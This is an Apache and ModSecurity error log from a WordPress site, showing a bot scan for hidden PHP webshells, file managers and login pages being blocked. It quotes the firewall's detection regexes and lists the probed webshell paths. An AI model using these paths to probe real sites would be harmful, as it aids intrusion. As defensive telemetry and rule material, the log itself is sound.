[Fri Feb 27 04:31:11.047726 2026] [:error] [pid 3973:tid 4000] [client 209.87.169.175:42753] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaCtj4JZsftwqmUaaLP2cwAAABE"]
[Fri Feb 27 04:31:11.545464 2026] [:error] [pid 42435:tid 42457] [client 173.239.214.8:48077] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaCtjx5hHLnaukp_y992vgAAAZE"]
[Fri Feb 27 04:31:12.042175 2026] [:error] [pid 5365:tid 5385] [client 173.239.214.5:62067] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaCtkJYAa8J3tYxdG3wAZwAAARI"]
[Fri Feb 27 04:31:13.039817 2026] [:error] [pid 3974:tid 4040] [client 209.87.169.175:31545] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaCtkXp-fQtdOYjkuFvXawAAAEM"]
[Fri Feb 27 04:31:13.901267 2026] [:error] [pid 21329:tid 21396] [client 185.198.240.142:34059] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaCtkZvQWnde-MjcQ1FPAQAAAU0"]
[Fri Feb 27 04:31:14.454459 2026] [proxy_fcgi:error] [pid 42658:tid 42663] [client 185.198.240.150:52653] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:15.045077 2026] [:error] [pid 42658:tid 42660] [client 185.198.240.150:52653] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaCtk4zcoYl3nRbu1jY_9gAAAgA"]
[Fri Feb 27 04:31:16.157798 2026] [:error] [pid 42658:tid 42672] [client 185.198.240.153:45355] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaCtlIzcoYl3nRbu1jZAAgAAAgw"]
[Fri Feb 27 04:31:16.682268 2026] [proxy_fcgi:error] [pid 5365:tid 5384] [client 45.131.195.210:40829] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:17.718454 2026] [proxy_fcgi:error] [pid 21329:tid 21399] [client 173.239.214.198:62863] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:17.999066 2026] [:error] [pid 21329:tid 21389] [client 173.239.214.198:62863] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaCtlZvQWnde-MjcQ1FPIAAAAUY"]
[Fri Feb 27 04:31:18.924536 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 173.239.214.18:42141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:19.250305 2026] [proxy_fcgi:error] [pid 5365:tid 5385] [client 173.239.214.18:42141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:19.662454 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 173.239.214.18:42141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:19.993808 2026] [:error] [pid 5365:tid 5387] [client 173.239.214.18:42141] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaCtl5YAa8J3tYxdG3wBKwAAARQ"]
[Fri Feb 27 04:31:20.617805 2026] [proxy_fcgi:error] [pid 3975:tid 4013] [client 173.239.214.9:46647] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:21.001943 2026] [:error] [pid 3975:tid 4022] [client 173.239.214.9:46647] [client 173.239.214.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaCtmRMVp0-T2hD76b25lAAAAIw"]
[Fri Feb 27 04:31:22.283737 2026] [proxy_fcgi:error] [pid 5365:tid 5390] [client 209.87.169.175:21895] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:22.608255 2026] [proxy_fcgi:error] [pid 5365:tid 5372] [client 209.87.169.175:21895] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:22.899042 2026] [:error] [pid 5365:tid 5373] [client 209.87.169.175:21895] [client 209.87.169.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aaCtmpYAa8J3tYxdG3wBVQAAAQY"]
[Fri Feb 27 04:31:23.543692 2026] [proxy_fcgi:error] [pid 5365:tid 5371] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:24.119507 2026] [proxy_fcgi:error] [pid 5365:tid 5375] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:24.955455 2026] [proxy_fcgi:error] [pid 5365:tid 5377] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:25.211454 2026] [proxy_fcgi:error] [pid 5365:tid 5371] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:25.511630 2026] [proxy_fcgi:error] [pid 5365:tid 5383] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:25.776353 2026] [proxy_fcgi:error] [pid 5365:tid 5383] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:26.612446 2026] [proxy_fcgi:error] [pid 5365:tid 5372] [client 173.239.214.7:30267] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:26.876888 2026] [:error] [pid 5365:tid 5374] [client 173.239.214.7:30267] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaCtnpYAa8J3tYxdG3wBsQAAAQc"]
[Fri Feb 27 04:31:27.397906 2026] [:error] [pid 21329:tid 21395] [client 185.198.240.154:41721] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaCtn5vQWnde-MjcQ1FPvQAAAUw"]
[Fri Feb 27 04:31:27.950011 2026] [:error] [pid 3975:tid 4027] [client 185.198.240.143:41455] [client 185.198.240.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.143, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaCtnxMVp0-T2hD76b25nQAAAJE"]
[Fri Feb 27 04:31:27.959539 2026] [proxy_fcgi:error] [pid 3975:tid 4027] [client 185.198.240.143:41455] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:28.305900 2026] [proxy_fcgi:error] [pid 3975:tid 4032] [client 185.198.240.143:41455] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:28.541161 2026] [:error] [pid 3975:tid 4021] [client 185.198.240.143:41455] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaCtoBMVp0-T2hD76b25nwAAAIs"]
[Fri Feb 27 04:31:29.358278 2026] [proxy_fcgi:error] [pid 5365:tid 5385] [client 173.239.214.6:26951] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:29.648542 2026] [:error] [pid 5365:tid 5372] [client 173.239.214.6:26951] [client 173.239.214.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaCtoZYAa8J3tYxdG3wB9gAAAQU"]
[Fri Feb 27 04:31:30.163963 2026] [:error] [pid 42563:tid 42594] [client 185.198.240.141:63025] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaCtonKL5BclZy73IRGodQAAAdg"]
[Fri Feb 27 04:31:33.054119 2026] [:error] [pid 4081:tid 4103] [client 185.198.240.157:61149] [client 185.198.240.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaCtpQ55mnr35z8h7t3ZegAAANQ"]
[Fri Feb 27 04:31:33.588831 2026] [:error] [pid 3973:tid 4006] [client 185.198.240.156:38929] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aaCtpYJZsftwqmUaaLP3IgAAABc"]
[Fri Feb 27 04:31:35.428453 2026] [proxy_fcgi:error] [pid 5365:tid 5385] [client 173.239.214.9:58217] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:36.282337 2026] [:error] [pid 5365:tid 5381] [client 173.239.214.9:58217] [client 173.239.214.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaCtqJYAa8J3tYxdG3wCmwAAAQ4"]
[Fri Feb 27 04:31:37.445219 2026] [proxy_fcgi:error] [pid 3975:tid 4016] [client 173.239.214.16:41335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:38.033227 2026] [:error] [pid 3975:tid 4028] [client 173.239.214.16:41335] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaCtqhMVp0-T2hD76b25yQAAAJI"]
[Fri Feb 27 04:31:38.646342 2026] [:error] [pid 42435:tid 42452] [client 173.239.214.198:25029] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaCtqh5hHLnaukp_y993gwAAAYw"]
[Fri Feb 27 04:31:39.495442 2026] [proxy_fcgi:error] [pid 42658:tid 42672] [client 173.239.214.5:47631] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:39.798118 2026] [:error] [pid 42658:tid 42663] [client 173.239.214.5:47631] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaCtq4zcoYl3nRbu1jZBRAAAAgM"]
[Fri Feb 27 04:31:40.355785 2026] [:error] [pid 3973:tid 3985] [client 185.198.240.149:36239] [client 185.198.240.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaCtrIJZsftwqmUaaLP3VgAAAAI"]
[Fri Feb 27 04:31:41.573501 2026] [proxy_fcgi:error] [pid 4081:tid 4097] [client 173.239.214.26:65461] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:41.860439 2026] [proxy_fcgi:error] [pid 4081:tid 4098] [client 173.239.214.26:65461] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:42.456455 2026] [proxy_fcgi:error] [pid 4081:tid 4103] [client 173.239.214.26:65461] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:42.984376 2026] [:error] [pid 4081:tid 4096] [client 173.239.214.26:65461] [client 173.239.214.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaCtrg55mnr35z8h7t3ZxwAAAM0"]
[Fri Feb 27 04:31:43.531052 2026] [:error] [pid 42658:tid 42660] [client 185.198.240.146:65381] [client 185.198.240.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaCtr4zcoYl3nRbu1jZBdQAAAgA"]
[Fri Feb 27 04:31:44.077509 2026] [proxy_fcgi:error] [pid 42658:tid 42684] [client 173.239.214.24:40393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:44.337496 2026] [proxy_fcgi:error] [pid 42658:tid 42682] [client 173.239.214.24:40393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:44.906482 2026] [proxy_fcgi:error] [pid 42658:tid 42670] [client 173.239.214.24:40393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:45.166689 2026] [:error] [pid 42658:tid 42666] [client 173.239.214.24:40393] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaCtsYzcoYl3nRbu1jZBkwAAAgY"]
[Fri Feb 27 04:31:45.724152 2026] [:error] [pid 5365:tid 5383] [client 173.239.214.11:29441] [client 173.239.214.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaCtsZYAa8J3tYxdG3wDOwAAARA"]
[Fri Feb 27 04:31:46.231189 2026] [:error] [pid 5365:tid 5389] [client 185.198.240.139:54289] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaCtspYAa8J3tYxdG3wDSQAAARY"]
[Fri Feb 27 04:31:48.352448 2026] [proxy_fcgi:error] [pid 21329:tid 21388] [client 185.198.240.135:23261] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:48.634049 2026] [:error] [pid 21329:tid 21402] [client 185.198.240.135:23261] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaCttJvQWnde-MjcQ1FQ1AAAAVM"]
[Fri Feb 27 04:31:50.600519 2026] [:error] [pid 5365:tid 5391] [client 209.87.169.176:30029] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaCttpYAa8J3tYxdG3wDsAAAARg"]
[Fri Feb 27 04:31:51.147466 2026] [proxy_fcgi:error] [pid 42658:tid 42662] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:51.395450 2026] [proxy_fcgi:error] [pid 42658:tid 42668] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:52.449492 2026] [proxy_fcgi:error] [pid 42658:tid 42662] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:53.595145 2026] [:error] [pid 42658:tid 42668] [client 173.239.214.24:64229] [client 173.239.214.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.24, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "aaCtuYzcoYl3nRbu1jZB-QAAAgg"]
[Fri Feb 27 04:31:54.264002 2026] [:error] [pid 42658:tid 42677] [client 173.239.214.24:64229] File does not exist: /home/agraphicscom/public_html/worm.PhP
[Fri Feb 27 04:31:54.544437 2026] [proxy_fcgi:error] [pid 42658:tid 42676] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:54.839069 2026] [proxy_fcgi:error] [pid 42658:tid 42669] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:55.115903 2026] [proxy_fcgi:error] [pid 42658:tid 42667] [client 173.239.214.24:64229] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:55.389951 2026] [:error] [pid 42658:tid 42673] [client 173.239.214.24:64229] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaCtu4zcoYl3nRbu1jZCFQAAAg0"]
[Fri Feb 27 04:31:55.948529 2026] [:error] [pid 42563:tid 42583] [client 185.198.240.136:65083] [client 185.198.240.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.136, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaCtu3KL5BclZy73IRGplwAAAc0"]
[Fri Feb 27 04:31:56.407797 2026] [proxy_fcgi:error] [pid 42563:tid 42583] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:56.994724 2026] [proxy_fcgi:error] [pid 42563:tid 42587] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:57.255468 2026] [proxy_fcgi:error] [pid 42563:tid 42591] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:57.775960 2026] [proxy_fcgi:error] [pid 42563:tid 42579] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:58.415084 2026] [proxy_fcgi:error] [pid 42563:tid 42587] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:59.305450 2026] [proxy_fcgi:error] [pid 42563:tid 42593] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:01.563481 2026] [proxy_fcgi:error] [pid 42563:tid 42588] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:01.836444 2026] [proxy_fcgi:error] [pid 42563:tid 42574] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:02.922461 2026] [proxy_fcgi:error] [pid 42563:tid 42574] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:03.611448 2026] [proxy_fcgi:error] [pid 42563:tid 42572] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:03.915434 2026] [proxy_fcgi:error] [pid 42563:tid 42583] [client 185.198.240.136:65083] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:04.257300 2026] [:error] [pid 42563:tid 42574] [client 185.198.240.136:65083] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaCtxHKL5BclZy73IRGqBwAAAcY"]
[Fri Feb 27 04:32:05.198449 2026] [proxy_fcgi:error] [pid 42658:tid 42677] [client 173.239.214.5:34735] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:05.504898 2026] [proxy_fcgi:error] [pid 42658:tid 42681] [client 173.239.214.5:34735] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:05.851962 2026] [:error] [pid 42658:tid 42665] [client 173.239.214.5:34735] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaCtxYzcoYl3nRbu1jZClwAAAgU"]
[Fri Feb 27 04:32:06.726442 2026] [proxy_fcgi:error] [pid 3974:tid 4052] [client 173.239.214.13:33419] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:07.012950 2026] [:error] [pid 3974:tid 4056] [client 173.239.214.13:33419] [client 173.239.214.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaCtx3p-fQtdOYjkuFvYSAAAAFM"]
[Fri Feb 27 04:32:08.043656 2026] [proxy_fcgi:error] [pid 4081:tid 4091] [client 173.239.214.7:59321] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:08.606483 2026] [proxy_fcgi:error] [pid 4081:tid 4099] [client 173.239.214.7:59321] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:08.858572 2026] [proxy_fcgi:error] [pid 4081:tid 4102] [client 173.239.214.7:59321] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:09.151659 2026] [proxy_fcgi:error] [pid 4081:tid 4094] [client 173.239.214.7:59321] AH01071: Got error 'Primary script unknown'
